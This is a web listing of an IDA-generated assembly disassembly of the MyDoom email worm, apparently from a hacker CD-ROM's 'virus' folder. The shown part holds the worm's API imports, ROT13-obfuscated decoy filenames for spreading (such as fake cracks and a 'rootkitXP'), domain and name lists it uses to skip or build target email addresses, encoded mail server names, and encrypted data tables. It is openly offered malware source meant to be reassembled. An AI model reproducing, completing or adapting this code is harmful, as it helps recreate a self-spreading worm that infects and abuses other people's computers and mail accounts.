home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 15 / hacker15 / 15_H4CK3R#15.ISO / virus / better / mydoom.asm
Encoding:
Assembly Source File  |  2004-02-05  |  264.0 KB  |  10,807 lines

  1. ; [0000013E BYTES. COLLAPSED STRUCT _WIN32_FIND_DATAA. PRESS KEYPAD "+"    TO EXPAND]
  2. ; [00000010 BYTES. COLLAPSED STRUCT SYSTEMTIME.    PRESS KEYPAD "+" TO EXPAND]
  3. ; [000000AC BYTES. COLLAPSED STRUCT _TIME_ZONE_INFORMATION. PRESS KEYPAD "+" TO    EXPAND]
  4. ; [00000008 BYTES. COLLAPSED STRUCT FILETIME. PRESS KEYPAD "+" TO EXPAND]
  5. ; [00000010 BYTES. COLLAPSED STRUCT _SYSTEMTIME. PRESS KEYPAD "+" TO EXPAND]
  6. ; [00000010 BYTES. COLLAPSED STRUCT _PROCESS_INFORMATION. PRESS    KEYPAD "+" TO EXPAND]
  7. ; [00000044 BYTES. COLLAPSED STRUCT _STARTUPINFOA. PRESS KEYPAD    "+" TO EXPAND]
  8. ; [00000008 BYTES. COLLAPSED STRUCT _FILETIME. PRESS KEYPAD "+"    TO EXPAND]
  9.  
  10. ;
  11. ; ╔═════════════════════════════════════════════════════════════════════════╗
  12. ; ║    This file is generated by The Interactive Disassembler (IDA)        ║
  13. ; ║    Copyright (c) 2002 by DataRescue sa/nv,    <ida@datarescue.com>        ║
  14. ; ║         Licensed to: Thomas Wright, DVDMods, 1 user, special        ║
  15. ; ╚═════════════════════════════════════════════════════════════════════════╝
  16. ;
  17. ; File Name   :    C:\Documents and Settings\Damien Good\My Documents\mydoom.bin
  18. ; Format      :    Portable executable for    IBM PC (PE)
  19. ; Section 1. (virtual address 00001000)
  20. ; Virtual size            : 00007B00 (  31488.)
  21. ; Section size in file        : 00007C00 (  31744.)
  22. ; Offset to raw    data for section: 00000200
  23. ; Flags    E0040020: Text Executable Readable Writable
  24. ; Alignment    : 16 bytes ?
  25. ; Imports from ADVAPI32.dll
  26.  
  27.  
  28. unicode        macro page,string,zero
  29.         irpc c,<string>
  30.         db '&c', page
  31.         endm
  32.         ifnb <zero>
  33.         dw zero
  34.         endif
  35. endm
  36.  
  37.         model flat
  38.  
  39. ; ═══════════════════════════════════════════════════════════════════════════
  40.  
  41. ; Segment type:    Externs
  42. ; _idata
  43.         extrn RegCloseKey:dword    ; DATA XREF: sub_4A3AA3+8Dr
  44.                     ; sub_4A3AA3+A7r ...
  45. ; LONG __stdcall RegOpenKeyExA(HKEY hKey,LPCSTR    lpSubKey,DWORD ulOptions,REGSAM    samDesired,PHKEY phkResult)
  46.         extrn RegOpenKeyExA:dword ; DATA XREF: sub_4A3AA3+45r
  47.                     ; sub_4A3CD7+29r ...
  48. ; LONG __stdcall RegSetValueExA(HKEY hKey,LPCSTR lpValueName,DWORD Reserved,DWORD dwType,const BYTE *lpData,DWORD cbData)
  49.         extrn RegSetValueExA:dword ; DATA XREF:    sub_4A3CD7+81r
  50. ; LONG __stdcall RegQueryValueExA(HKEY hKey,LPCSTR lpValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE    lpData,LPDWORD lpcbData)
  51.         extrn RegQueryValueExA:dword ; DATA XREF: sub_4A46F7+80r
  52.                     ; sub_4A60A5+66r ...
  53. ; LONG __stdcall RegEnumKeyA(HKEY hKey,DWORD dwIndex,LPSTR lpName,DWORD    cbName)
  54.         extrn RegEnumKeyA:dword    ; DATA XREF: sub_4A7DFD+5Ar
  55. ; LONG __stdcall RegCreateKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD Reserved,LPSTR    lpClass,DWORD dwOptions,REGSAM samDesired,LPSECURITY_ATTRIBUTES    lpSecurityAttributes,PHKEY phkResult,LPDWORD lpdwDisposition)
  56.         extrn RegCreateKeyExA:dword ; DATA XREF: sub_4A3AA3+80r
  57.  
  58. ; Imports from KERNEL32.DLL
  59. ; HANDLE __stdcall CreateFileMappingA(HANDLE hFile,LPSECURITY_ATTRIBUTES lpFileMappingAttributes,DWORD flProtect,DWORD dwMaximumSizeHigh,DWORD dwMaximumSizeLow,LPCSTR lpName)
  60.         extrn CreateFileMappingA:dword ; DATA XREF: sub_4A5F97+50r
  61. ; BOOL __stdcall FindNextFileA(HANDLE hFindFile,LPWIN32_FIND_DATAA lpFindFileData)
  62.         extrn FindNextFileA:dword ; DATA XREF: sub_4A630C+D1r
  63. ; HANDLE __stdcall FindFirstFileA(LPCSTR lpFileName,LPWIN32_FIND_DATAA lpFindFileData)
  64.         extrn FindFirstFileA:dword ; DATA XREF:    sub_4A630C+B2r
  65. ; DWORD    __stdcall GetEnvironmentVariableA(LPCSTR lpName,LPSTR lpBuffer,DWORD nSize)
  66.         extrn GetEnvironmentVariableA:dword ; DATA XREF: sub_4A64A8+6Fr
  67. ; UINT __stdcall GetWindowsDirectoryA(LPSTR lpBuffer,UINT uSize)
  68.         extrn GetWindowsDirectoryA:dword ; DATA    XREF: sub_4A64A8+62r
  69. ; UINT __stdcall GetDriveTypeA(LPCSTR lpRootPathName)
  70.         extrn GetDriveTypeA:dword ; DATA XREF: sub_4A6599+6Er
  71. ; DWORD    __stdcall GetFileSize(HANDLE hFile,LPDWORD lpFileSizeHigh)
  72.         extrn GetFileSize:dword    ; DATA XREF: sub_4A5F97+40r
  73.                     ; sub_4A6864+D1r ...
  74. ; BOOL __stdcall FindClose(HANDLE hFindFile)
  75.         extrn FindClose:dword    ; DATA XREF: sub_4A630C+18Er
  76. ; BOOL __stdcall FileTimeToSystemTime(const FILETIME *lpFileTime,LPSYSTEMTIME lpSystemTime)
  77.         extrn FileTimeToSystemTime:dword ; DATA    XREF: sub_4A40B3+B7r
  78. ; HGLOBAL __stdcall GlobalAlloc(UINT uFlags,DWORD dwBytes)
  79.         extrn GlobalAlloc:dword    ; DATA XREF: sub_4A76D2+99r
  80. ; UINT __stdcall GetTempFileNameA(LPCSTR lpPathName,LPCSTR lpPrefixString,UINT uUnique,LPSTR lpTempFileName)
  81.         extrn GetTempFileNameA:dword ; DATA XREF: sub_4A6FCD+A1r
  82. ; DWORD    __stdcall SetFilePointer(HANDLE    hFile,LONG lDistanceToMove,PLONG lpDistanceToMoveHigh,DWORD dwMoveMethod)
  83.         extrn SetFilePointer:dword ; DATA XREF:    sub_4A67F0+14r
  84.                     ; sub_4A67F0+66r ...
  85. ; void __stdcall GetSystemTime(LPSYSTEMTIME lpSystemTime)
  86.         extrn GetSystemTime:dword ; DATA XREF: sub_4A676D+Ar
  87. ; HANDLE GetCurrentThread(void)
  88.         extrn GetCurrentThread:dword ; DATA XREF: sub_4A6645+7r
  89.                     ; sub_4A6BB4+20r
  90. ; BOOL __stdcall WriteFile(HANDLE hFile,LPCVOID    lpBuffer,DWORD nNumberOfBytesToWrite,LPDWORD lpNumberOfBytesWritten,LPOVERLAPPED lpOverlapped)
  91.         extrn WriteFile:dword    ; DATA XREF: sub_4A38E0+18r
  92.                     ; sub_4A38E0+38r ...
  93. ; HMODULE __stdcall LoadLibraryA(LPCSTR    lpLibFileName)
  94.         extrn LoadLibraryA:dword ; DATA    XREF: sub_4A3962+12Cr
  95.                     ; sub_4A4681+30r ...
  96. ; LPSTR    __stdcall lstrcpyA(LPSTR lpString1,LPCSTR lpString2)
  97.         extrn lstrcpyA:dword    ; DATA XREF: sub_4A3962+119r
  98.                     ; sub_4A3B88+34r ...
  99. ; BOOL __stdcall CloseHandle(HANDLE hObject)
  100.         extrn CloseHandle:dword    ; DATA XREF: sub_4A3962+F2r
  101.                     ; sub_4A3B88+F1r ...
  102. ; DWORD    __stdcall GetFileAttributesA(LPCSTR lpFileName)
  103.         extrn GetFileAttributesA:dword ; DATA XREF: sub_4A3962+C2r
  104.                     ; sub_4A3B88+124r
  105. ; HANDLE __stdcall CreateFileA(LPCSTR lpFileName,DWORD dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile)
  106.         extrn CreateFileA:dword    ; DATA XREF: sub_4A3962+AAr
  107.                     ; sub_4A3B88+E1r ...
  108. ; int __stdcall    lstrlenA(LPCSTR    lpString)
  109.         extrn lstrlenA:dword    ; DATA XREF: sub_4A3962+65r
  110.                     ; sub_4A3B88+8Dr ...
  111. ; DWORD    __stdcall GetTempPathA(DWORD nBufferLength,LPSTR lpBuffer)
  112.         extrn GetTempPathA:dword ; DATA    XREF: sub_4A3962+4Fr
  113.                     ; sub_4A3B88+74r ...
  114. ; UINT __stdcall GetSystemDirectoryA(LPSTR lpBuffer,UINT uSize)
  115.         extrn GetSystemDirectoryA:dword    ; DATA XREF: sub_4A3962+41r
  116.                     ; sub_4A3B88+66r ...
  117. ; LPSTR    __stdcall lstrcatA(LPSTR lpString1,LPCSTR lpString2)
  118.         extrn lstrcatA:dword    ; DATA XREF: sub_4A3962+1Dr
  119.                     ; sub_4A3962+84r ...
  120. ; DWORD    GetLastError(void)
  121.         extrn GetLastError:dword ; DATA    XREF: sub_4A3B52+24r
  122. ; HANDLE __stdcall CreateMutexA(LPSECURITY_ATTRIBUTES lpMutexAttributes,BOOL bInitialOwner,LPCSTR lpName)
  123.         extrn CreateMutexA:dword ; DATA    XREF: sub_4A3B52+1Er
  124. ; BOOL __stdcall CopyFileA(LPCSTR lpExistingFileName,LPCSTR lpNewFileName,BOOL bFailIfExists)
  125.         extrn CopyFileA:dword    ; DATA XREF: sub_4A3B88+113r
  126.                     ; sub_4A46F7+1B4r
  127. ; BOOL __stdcall DeleteFileA(LPCSTR lpFileName)
  128.         extrn DeleteFileA:dword    ; DATA XREF: sub_4A3B88+FEr
  129.                     ; StartAddress+1ACr ...
  130. ; BOOL __stdcall SetFileAttributesA(LPCSTR lpFileName,DWORD dwFileAttributes)
  131.         extrn SetFileAttributesA:dword ; DATA XREF: sub_4A3B88+C4r
  132. ; DWORD    __stdcall GetModuleFileNameA(HMODULE hModule,LPSTR lpFilename,DWORD nSize)
  133.         extrn GetModuleFileNameA:dword ; DATA XREF: sub_4A3B88+2Br
  134.                     ; sub_4A48B6+17r ...
  135. ; BOOL __stdcall SystemTimeToFileTime(const SYSTEMTIME *lpSystemTime,LPFILETIME    lpFileTime)
  136.         extrn SystemTimeToFileTime:dword ; DATA    XREF: sub_4A3D6E+1Dr
  137.                     ; sub_4A3DB0+1Dr
  138. ; void __stdcall GetSystemTimeAsFileTime(LPFILETIME lpSystemTimeAsFileTime)
  139.         extrn GetSystemTimeAsFileTime:dword ; DATA XREF: sub_4A3D6E+Ar
  140.                     ; sub_4A3DB0+Ar
  141. ; void __stdcall Sleep(DWORD dwMilliseconds)
  142.         extrn Sleep:dword    ; DATA XREF: sub_4A3DB0+3Dr main+93r ...
  143. ; void __stdcall ExitThread(DWORD dwExitCode)
  144.         extrn ExitThread:dword    ; DATA XREF: StartAddress+1B3r
  145.                     ; .text:004A5B22r ...
  146. ; DWORD    __stdcall WaitForSingleObject(HANDLE hHandle,DWORD dwMilliseconds)
  147.         extrn WaitForSingleObject:dword    ; DATA XREF: StartAddress+192r
  148. ; BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName,LPSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation)
  149.         extrn CreateProcessA:dword ; DATA XREF:    StartAddress+183r
  150. ; HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,DWORD dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID    lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId)
  151.         extrn CreateThread:dword ; DATA    XREF: main+19r    main+42r ...
  152. ; DWORD    GetTickCount(void)
  153.         extrn GetTickCount:dword ; DATA    XREF: main+7r sub_4A4215r ...
  154. ; void __stdcall ExitProcess(UINT uExitCode)
  155.         extrn ExitProcess:dword    ; DATA XREF: start+5Br
  156. ; DWORD    __stdcall GetTimeZoneInformation(LPTIME_ZONE_INFORMATION lpTimeZoneInformation)
  157.         extrn GetTimeZoneInformation:dword ; DATA XREF:    sub_4A40B3+CAr
  158. ; LPVOID __stdcall MapViewOfFile(HANDLE    hFileMappingObject,DWORD dwDesiredAccess,DWORD dwFileOffsetHigh,DWORD dwFileOffsetLow,DWORD dwNumberOfBytesToMap)
  159.         extrn MapViewOfFile:dword ; DATA XREF: sub_4A5F97+71r
  160. ; BOOL __stdcall FileTimeToLocalFileTime(const FILETIME    *lpFileTime,LPFILETIME lpLocalFileTime)
  161.         extrn FileTimeToLocalFileTime:dword ; DATA XREF: sub_4A40B3+A9r
  162. ; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime)
  163.         extrn GetLocalTime:dword ; DATA    XREF: sub_4A40B3+9Ar
  164. ; int __stdcall    WideCharToMultiByte(UINT CodePage,DWORD    dwFlags,LPCWSTR    lpWideCharStr,int cchWideChar,LPSTR lpMultiByteStr,int cchMultiByte,LPCSTR lpDefaultChar,LPBOOL    lpUsedDefaultChar)
  165.         extrn WideCharToMultiByte:dword    ; DATA XREF: sub_4A4321+BAr
  166. ; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName)
  167.         extrn GetProcAddress:dword ; DATA XREF:    sub_4A4681+56r
  168.                     ; sub_4A4EFE+39r ...
  169. ; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
  170.         extrn GetModuleHandleA:dword ; DATA XREF: sub_4A4681+1Br
  171.                     ; sub_4A4EFE+19r ...
  172. ; BOOL __stdcall HeapFree(HANDLE hHeap,DWORD dwFlags,LPVOID lpMem)
  173.         extrn HeapFree:dword    ; DATA XREF: sub_4A4ADF+11r
  174.                     ; sub_4A4C45+1EFr ...
  175. ; HANDLE GetProcessHeap(void)
  176.         extrn GetProcessHeap:dword ; DATA XREF:    sub_4A4ADF+Ar
  177.                     ; sub_4A4AFE+E6r ...
  178. ; LPVOID __stdcall HeapAlloc(HANDLE hHeap,DWORD    dwFlags,DWORD dwBytes)
  179.         extrn HeapAlloc:dword    ; DATA XREF: sub_4A4AFE+EDr
  180.                     ; sub_4A4C45+24r ...
  181. ; LPSTR    __stdcall lstrcpynA(LPSTR lpString1,LPCSTR lpString2,int iMaxLength)
  182.         extrn lstrcpynA:dword    ; DATA XREF: sub_4A4EFE+A7r
  183.                     ; sub_4A586A+6Dr ...
  184. ; int __stdcall    lstrcmpA(LPCSTR    lpString1,LPCSTR lpString2)
  185.         extrn lstrcmpA:dword    ; DATA XREF: sub_4A55D4+60r
  186.                     ; sub_4A6147+77r ...
  187. ; int __stdcall    lstrcmpiA(LPCSTR lpString1,LPCSTR lpString2)
  188.         extrn lstrcmpiA:dword    ; DATA XREF: sub_4A5788+4Ar
  189.                     ; sub_4A5934+11r ...
  190. ; HGLOBAL __stdcall GlobalFree(HGLOBAL hMem)
  191.         extrn GlobalFree:dword    ; DATA XREF: sub_4A5A7C+5Ar
  192.                     ; sub_4A76D2+E1r
  193. ; LONG __stdcall InterlockedDecrement(LPLONG lpAddend)
  194.         extrn InterlockedDecrement:dword ; DATA    XREF: .text:004A5B1Ar
  195. ; LONG __stdcall InterlockedIncrement(LPLONG lpAddend)
  196.         extrn InterlockedIncrement:dword ; DATA    XREF: .text:004A5AF3r
  197. ; BOOL __stdcall ReadFile(HANDLE hFile,LPVOID lpBuffer,DWORD nNumberOfBytesToRead,LPDWORD lpNumberOfBytesRead,LPOVERLAPPED lpOverlapped)
  198.         extrn ReadFile:dword    ; DATA XREF: sub_4A5EC8+3Er
  199.                     ; sub_4A67F0+1Ar ...
  200. ; BOOL __stdcall UnmapViewOfFile(LPCVOID lpBaseAddress)
  201.         extrn UnmapViewOfFile:dword ; DATA XREF: sub_4A5F97+E2r
  202. ; BOOL __stdcall SetThreadPriority(HANDLE hThread,int nPriority)
  203.         extrn SetThreadPriority:dword ;    DATA XREF: sub_4A6645+Er
  204.                     ; sub_4A6BB4+27r
  205.  
  206. ; Imports from MSVCRT.dll
  207.         extrn __imp_memset:dword ; DATA    XREF: memsetr
  208.         extrn tolower:dword    ; DATA XREF: sub_4A42A7+Dr
  209.                     ; sub_4A42A7+23r ...
  210.         extrn __imp_memcpy:dword ; DATA    XREF: memcpyr
  211.         extrn isdigit:dword    ; DATA XREF: sub_4A4321+3Ar
  212.         extrn toupper:dword    ; DATA XREF: sub_4A4489+44r
  213.                     ; sub_4A4489+65r
  214.         extrn isxdigit:dword    ; DATA XREF: sub_4A4489+29r
  215.                     ; sub_4A4489+33r ...
  216.         extrn isalnum:dword    ; DATA XREF: sub_4A5108+3Br
  217.                     ; sub_4A5108+8Cr ...
  218.         extrn isspace:dword    ; DATA XREF: sub_4A5108+2Br
  219.                     ; sub_4A5108+ECr ...
  220.  
  221. ; Imports from USER32.dll
  222. ; DWORD    __stdcall CharUpperBuffA(LPSTR lpsz,DWORD cchLength)
  223.         extrn CharUpperBuffA:dword ; DATA XREF:    sub_4A6ED6+DAr
  224. ; LPSTR    __stdcall CharUpperA(LPSTR lpsz)
  225.         extrn CharUpperA:dword    ; DATA XREF: sub_4A6ED6+EEr
  226. ; LPSTR    __stdcall CharLowerA(LPSTR lpsz)
  227.         extrn CharLowerA:dword    ; DATA XREF: sub_4A6147+51r
  228.                     ; sub_4A78AC+EBr
  229. ; int __stdcall    wvsprintfA(LPSTR,LPCSTR,va_list    arglist)
  230.         extrn wvsprintfA:dword    ; DATA XREF: sub_4A45C4+18r
  231.                     ; sub_4A7AAA+1Dr
  232.         extrn wsprintfA:dword    ; DATA XREF: StartAddress+147r
  233.                     ; sub_4A40B3+156r ...
  234.  
  235. ; Imports from WS2_32.dll
  236.         extrn WS2_32_19:dword    ; DATA XREF: sub_4A6BB4+6Dr
  237.                     ; sub_4A7AAA+3Dr ...
  238.         extrn WS2_32_10:dword    ; DATA XREF: sub_4A6A9F+4Cr
  239.                     ; sub_4A6A9F+FDr
  240.         extrn WS2_32_4:dword    ; DATA XREF: sub_4A6A9F+52r
  241.                     ; sub_4A7B47+A5r
  242.         extrn WS2_32_111:dword    ; DATA XREF: sub_4A6A9F+5Ar
  243.         extrn __imp_WS2_32_151:dword ; DATA XREF: WS2_32_151r
  244.         extrn WS2_32_11:dword    ; DATA XREF: .text:004A506Cr
  245.                     ; sub_4A7877+2r
  246.         extrn WS2_32_52:dword    ; DATA XREF: .text:004A507Fr
  247.                     ; sub_4A6C3B+3Fr ...
  248.         extrn WS2_32_23:dword    ; DATA XREF: sub_4A4C45+3Er
  249.                     ; sub_4A6A9F+14r ...
  250.         extrn WS2_32_18:dword    ; DATA XREF: sub_4A4C45+C3r
  251.                     ; sub_4A6A9F+BBr ...
  252.         extrn WS2_32_16:dword    ; DATA XREF: sub_4A4C45+E5r
  253.                     ; sub_4A77D9+6Br
  254.         extrn WS2_32_3:dword    ; DATA XREF: sub_4A4C45+25Fr
  255.                     ; sub_4A6A9F+108r ...
  256.         extrn WS2_32_15:dword    ; DATA XREF: sub_4A49F3+10r
  257.                     ; sub_4A49F3+17r ...
  258.         extrn WS2_32_9:dword    ; DATA XREF: sub_4A48E2+40r
  259.                     ; sub_4A48E2+BEr ...
  260.         extrn WS2_32_20:dword    ; DATA XREF: sub_4A48E2+FDr
  261.         extrn WS2_32_115:dword    ; DATA XREF: start+19r
  262.  
  263.  
  264. ; ═══════════════════════════════════════════════════════════════════════════
  265.  
  266. ; Segment type:    Pure code
  267. _text        segment    para public 'CODE' use32
  268.         assume cs:_text
  269.         ;org 4A1184h
  270.         assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
  271.         align 10h
  272. dword_4A1190    dd 4A2650h        ; DATA XREF: sub_4A46F7+105r
  273.         dd offset aVpd2004Svany    ; "vpd2004-svany"
  274.         dd offset aNpgvingvba_pen ; "npgvingvba_penpx"
  275.         dd offset aFgevcTvey2_0oq ; "fgevc-tvey-2.0oqpbz_cngpurf"
  276.         dd offset aEbbgxvgkc    ; "ebbgxvgKC"
  277.         dd offset aBssvpr_penpx    ; "bssvpr_penpx"
  278.         dd offset aAhxr2004    ; "ahxr2004"
  279.         align 8
  280. dword_4A11B0    dd 4A2AC8h        ; DATA XREF: sub_4A551A+7Er
  281.                     ; sub_4A551A+86o
  282.         dd offset aSyma        ; "syma"
  283.         dd offset aIcrosof    ; "icrosof"
  284.         dd offset aMsn_        ; "msn."
  285.         dd offset aHotmail    ; "hotmail"
  286.         dd offset aPanda    ; "panda"
  287.         dd offset aSopho    ; "sopho"
  288.         dd offset aBorlan    ; "borlan"
  289.         dd offset aInpris    ; "inpris"
  290.         dd offset aExample    ; "example"
  291.         dd offset aMydomai    ; "mydomai"
  292.         dd offset aNodomai    ; "nodomai"
  293.         dd offset aRuslis    ; "ruslis"
  294.         dd offset a_gov        ; ".gov"
  295.         dd offset aGov_        ; "gov."
  296.         dd offset a_mil        ; ".mil"
  297.         dd offset aFoo_        ; "foo."
  298.         align 8
  299.         dd offset asc_4A2A44    ; "\n\n\n"
  300.         align 8
  301. dword_4A1200    dd 4A2A38h        ; DATA XREF: sub_4A551A+4Ar
  302.                     ; sub_4A551A+5Ao
  303.         dd offset aUnix        ; "unix"
  304.         dd offset aMath        ; "math"
  305.         dd offset aBsd        ; "bsd"
  306.         dd offset aMit_e    ; "mit.e"
  307.         dd offset aGnu        ; "gnu"
  308.         dd offset aFsf_        ; "fsf."
  309.         dd offset aIbm_com    ; "ibm.com"
  310.         dd offset aGoogle    ; "google"
  311.         dd offset aKernel    ; "kernel"
  312.         dd offset aLinux    ; "linux"
  313.         dd offset aFido        ; "fido"
  314.         dd offset aUsenet    ; "usenet"
  315.         dd offset aIana        ; "iana"
  316.         dd offset aIetf        ; "ietf"
  317.         dd offset aRfcEd    ; "rfc-ed"
  318.         dd offset aSendmail    ; "sendmail"
  319.         dd offset aArin_    ; "arin."
  320.         dd offset aRipe_    ; "ripe."
  321.         dd offset aIsi_e    ; "isi.e"
  322.         dd offset aIsc_o    ; "isc.o"
  323.         dd offset aSecur    ; "secur"
  324.         dd offset aAcketst    ; "acketst"
  325.         dd offset aPgp        ; "pgp"
  326.         dd offset aTanford_e    ; "tanford.e"
  327.         dd offset aUtgers_ed    ; "utgers.ed"
  328.         dd offset aMozilla    ; "mozilla"
  329.         align 8
  330.         dd offset aBe_loyal    ; "\n\nbe_loyal:"
  331.         align 8
  332. dword_4A1278    dd 4A2954h        ; DATA XREF: sub_4A55D4+48r
  333.                     ; sub_4A55D4+50o
  334.         dd offset aInfo        ; "info"
  335.         dd offset aSamples    ; "samples"
  336.         dd offset aPostmaster    ; "postmaster"
  337.         dd offset aWebmaster    ; "webmaster"
  338.         dd offset aNoone    ; "noone"
  339.         dd offset aNobody    ; "nobody"
  340.         dd offset aNothing    ; "nothing"
  341.         dd offset aAnyone    ; "anyone"
  342.         dd offset aSomeone    ; "someone"
  343.         dd offset aYour        ; "your"
  344.         dd offset aYou        ; "you"
  345.         dd offset aMe        ; "me"
  346.         dd offset aBugs        ; "bugs"
  347.         dd offset aRating    ; "rating"
  348.         dd offset aSite        ; "site"
  349.         dd offset aContact    ; "contact"
  350.         dd offset aSoft        ; "soft"
  351.         dd offset aNo        ; "no"
  352.         dd offset aSomebody    ; "somebody"
  353.         dd offset aPrivacy    ; "privacy"
  354.         dd offset aService    ; "service"
  355.         dd offset aHelp        ; "help"
  356.         dd offset aNot        ; "not"
  357.         dd offset aSubmit    ; "submit"
  358.         dd offset aFeste    ; "feste"
  359.         dd offset aCa        ; "ca"
  360.         dd offset aGoldCerts    ; "gold-certs"
  361.         dd offset aThe_bat    ; "the.bat"
  362.         dd offset aPage        ; "page"
  363.         dd 0
  364. dword_4A12F4    dd 4A2868h        ; DATA XREF: sub_4A55D4+10Cr
  365.                     ; sub_4A55D4+114o
  366.         dd offset aIcrosoft    ; "icrosoft"
  367.         dd offset aSupport    ; "support"
  368.         dd offset aNtivi    ; "ntivi"
  369.         dd offset aUnix        ; "unix"
  370.         dd offset aBsd        ; "bsd"
  371.         dd offset aLinux    ; "linux"
  372.         dd offset aListserv    ; "listserv"
  373.         dd offset aCertific    ; "certific"
  374.         dd offset aGoogle    ; "google"
  375.         dd offset aAccoun    ; "accoun"
  376.         dd 2 dup(0)
  377. ; LPCSTR lpString2
  378. lpString2    dd offset aJohn        ; DATA XREF: sub_4A586A+88r
  379.                     ; "john"
  380.         dd offset aJohn        ; "john"
  381.         dd offset aAlex        ; "alex"
  382.         dd offset aMichael    ; "michael"
  383.         dd offset aJames    ; "james"
  384.         dd offset aMike        ; "mike"
  385.         dd offset aKevin    ; "kevin"
  386.         dd offset aDavid    ; "david"
  387.         dd offset aGeorge    ; "george"
  388.         dd offset aSam        ; "sam"
  389.         dd offset aAndrew    ; "andrew"
  390.         dd offset aJose        ; "jose"
  391.         dd offset aLeo        ; "leo"
  392.         dd offset aMaria    ; "maria"
  393.         dd offset aJim        ; "jim"
  394.         dd offset aBrian    ; "brian"
  395.         dd offset aSerg        ; "serg"
  396.         dd offset aMary        ; "mary"
  397.         dd offset aRay        ; "ray"
  398.         dd offset aTom        ; "tom"
  399.         dd offset aPeter    ; "peter"
  400.         dd offset aRobert    ; "robert"
  401.         dd offset aBob        ; "bob"
  402.         dd offset aJane        ; "jane"
  403.         dd offset aJoe        ; "joe"
  404.         dd offset aDan        ; "dan"
  405.         dd offset aDave        ; "dave"
  406.         dd offset aMatt        ; "matt"
  407.         dd offset aSteve    ; "steve"
  408.         dd offset aSmith    ; "smith"
  409.         dd offset aStan        ; "stan"
  410.         dd offset aBill        ; "bill"
  411.         dd offset aBob        ; "bob"
  412.         dd offset aJack        ; "jack"
  413.         dd offset aFred        ; "fred"
  414.         dd offset aTed        ; "ted"
  415.         dd offset aAdam        ; "adam"
  416.         dd offset aBrent    ; "brent"
  417.         dd offset aAlice    ; "alice"
  418.         dd offset aAnna        ; "anna"
  419.         dd offset aBrenda    ; "brenda"
  420.         dd offset aClaudia    ; "claudia"
  421.         dd offset aDebby    ; "debby"
  422.         dd offset aHelen    ; "helen"
  423.         dd offset aJerry    ; "jerry"
  424.         dd offset aJimmy    ; "jimmy"
  425.         dd offset aJulie    ; "julie"
  426.         dd offset aLinda    ; "linda"
  427.         dd offset aSandra    ; "sandra"
  428. dword_4A13EC    dd 4A3454h        ; DATA XREF: sub_4A6CDE+AEr
  429.         dd offset aZfa_pbz    ; "zfa.pbz"
  430.         dd offset aLnubb_pbz    ; "lnubb.pbz"
  431.         dd offset aUbgznvy_pbz    ; "ubgznvy.pbz"
  432.         align 8
  433. dword_4A1400    dd 0D05A9D8Ah, 6F4E5DAh, 6C4E331Fh, 2D84E72h, 0C8925F97h
  434.                     ; DATA XREF: sub_4A3962+E4o
  435.         dd 0BE7C3D01h, 0E4964B43h, 3AE08935h, 0C05AF797h, 76049529h
  436.         dd 5CDE63EBh, 72E861DDh, 0B8228FFFh, 2E8CED51h,    0D4267BD3h
  437.         dd 0AAF0390Dh, 0B0EA2767h, 0E6144579h, 4C6E93BBh, 0E2F8112Dh
  438.         dd 0A8B2BFCFh, 9E9C9DA1h, 0C4B6ABA3h, 1A00E9D5h, 0A07A5737h
  439.         dd 5624F5C9h, 3CFEC38Bh, 5208C17Dh, 9842EF9Fh, 0EAC4DF1h
  440.         dd 0B446DB73h, 8A109925h, 900A8707h, 0A8A5A519h, 0D2C3F2FEh
  441.         dd 2C12F8A8h, 0B68F6B4Ah, 703D0DE0h, 5A1BDFA6h,    5527E17Ch
  442.         dd 0BE6012C9h, 38D56518h, 0E273179Eh, 0BC418954h, 0C63FE39Ah
  443.         dd 6D8D50h, 6ACB4F96h, 7A43B10Ch, 0CE1773B2h, 0C8054788h
  444.         dd 0F223578Ah, 4C7199C4h, 0D6EF0B2Eh, 909DADC0h, 7A7B0F86h
  445.         dd 9489917Ch, 0DEC7B3A2h, 583515FAh, 2C3A77Eh, 0DCA17934h
  446.         dd 0E68F5B1Ah, 20CD6D30h, 8A2BCF76h, 24B951FCh,    0EE770392h
  447.         dd 0E865E568h, 8383976Eh, 0A1958C76h, 0EFD7C2B0h, 6D49280Ah
  448.         dd 1BEBBE94h, 0F9BD844Eh, 7BF7A38h, 45F1A052h, 0B353966Ch
  449.         dd 51E57C1Ah, 1FA732C0h, 1D99189Ah, 4BBB2EA4h, 0A90D74DEh
  450.         dd 378FEA48h, 0F54190E2h, 0E32366ACh, 1356CA6h,    4F77A2D0h
  451.         dd 0CDE9082Ah, 7B8B9EB4h, 595D646Eh, 675F5A58h,    0A5918072h
  452.         dd 13F3D6BCh, 0B1855C36h, 7F4712E0h, 7D39F8BAh,    0AB5B0EC4h
  453.         dd 9AD54FEh, 0A7779A3Dh, 55E17002h, 43C306CCh, 61D55CC6h
  454.         dd 736A6461h, 0B5A08C7Fh, 2706E8CDh, 0C99C724Bh, 9B622CF9h
  455.         dd 7D581657h, 0FE2660B0h, 31D47A23h, 0C35AE491h, 8510CE2Fh
  456.         dd 77F674FDh, 990C80FBh, 0EB52BC29h, 6DC82687h,    1F6EC015h
  457.         dd 0E1448A93h, 2112D494h, 5580AEDFh, 0C7E6182Dh, 697CF2ABh
  458.         dd 3B424E59h, 3D383837h, 6F5E5045h, 0D1B49A83h,    633A14F1h
  459.         dd 0E5F0BECFh, 23E4B66Ch, 61BCF75Bh, 893BD0A8h,    633C73EEh
  460.         dd 0C5E099F8h, 0A117914Bh, 0B322DE21h, 48543F3Fh, 7E6F7B51h
